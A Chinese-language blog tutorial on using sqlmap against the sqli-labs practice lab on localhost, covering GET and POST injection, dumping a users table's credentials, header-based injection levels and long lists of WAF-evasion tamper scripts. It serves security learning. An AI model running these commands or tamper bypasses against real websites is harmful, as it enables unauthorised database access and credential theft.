sqlmap使用练习

前言

手动进行SQL注入效率还是没有工具高啊,掌握对工具的使用可以帮助我们提高效率。先以sqli-labs基础篇为例学习sqlmap基础功能。

GET型注入

联合查询

less1-4注入都是很相似的,我们就以第一关为例。我们可以先检测注入方式:
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 --dbms --batch

  • -u:指定url
  • –batch: 执行过程中不需要用户输入YES or NO,将会使用sqlmap提示的默认值YES一直运行下去。推荐都可以添加进
  • –dbms:指定数据库

结果如下:

系统给出了四种注入方式,分别是布尔盲注、报错注入、时间盲注和联合查询,我们也可以从payload看出这题是基于单引号的错误进行注入。

接下来我们开始进行注入,下面介绍如何一步步从数据库查到表格中的数据:

  • –dbs:爆出所有数据库名称
  • –current-db:获取当前数据库名称
  • -D database_name –tables:获取指定数据库中的表名
  • -D database_name -T table_name –columns:获取指定表格的列名
  • -D database_name -T table_name -C cname1[,cname2,cname3…] –dump:获取指定列的数据

结果如下:
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 --dbs

python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 -D security --tables

python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 -D security -T users --columns

python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 -D security -T users -C id,username,password --dump

报错注入&盲注

其实直接用上面的语句也是可以的,但是这时我们会发现,sqlmap的注入用时大大延长,这是因为sqlmap检测到了多种注入方法,然后一个一个跑下来,等到成功了再返回结果,因此介绍如何指定过滤方法:

  • –technique X:指定注入技术,支持5种形式,根据不同方法指定X的值(指定多个也可以,例如要指定报错和时间盲注就是ET)
1
2
3
4
5
B:Boolean-based-blind  (布尔型型注入)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入,默认5秒)

盲注时,为了提高效率,我们也可以设置最大并发线程:

  • –threads:最大并发线程,盲注时每个线程获取一个字符,获取完成后线程结束,默认为1,建议不要超过10

这样可以大大提高注入效率。

POST型注入

针对POST型注入有两种方式。

  • –data:添加数据段

例如:
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-11 --data "uname=1 &passwd=1 &submit=Submit" --dbs

当然我们一般不这样做,因为这样构造比较麻烦,我们一般使用burp suit抓包后将内容存在txt文档中,这个文档也一般放在sqlmap的根目录中,然后构建下面这个指令(文件存入1.txt中):
python sqlmap.py -r 1.txt --dbs

为什么推荐下面这种做法呢,一个是因为这样构造的指令比较简单,另一个是因为这样当我们设置高level时就会检测文件头中的其他参数,下面介绍sqlmap的几个等级:

  • –level 1:默认值,能测试的语句少,速度快
  • –level 2:测试http、cookie
  • –level 3:测试user-agent、referer

当level为5时会测试很多的payload,效率会降低。当不清楚注入点时可以将level的值设置为3或以上。

当然当清楚注入点时,也可以用例如--cokkie--user-agent这类的语句指定注入目标,这样可以不用抓包,也可以不用设置level:
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-19/ --referer=" http://127.0.0.1/sqli-labs-php7/Less-19/*" --dbs

Tamper

注入时遇到过滤一定是不可避免的,我们可以用sqlmap自带的tamper脚本进行各种的绕过。

例如21关中对cookie需要进行base64解码,我们就可以使用--tamper=base64encode来解决

不过在我们不太清楚具体过滤的内容时,我们可以直接无脑套tamper,虽然效率偏低,但是十分方便:
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

总结

sqlmap还有很多很强大的功能,下面的链接总结了sqlmap的所有指令可供参考。
sqlmap指令大全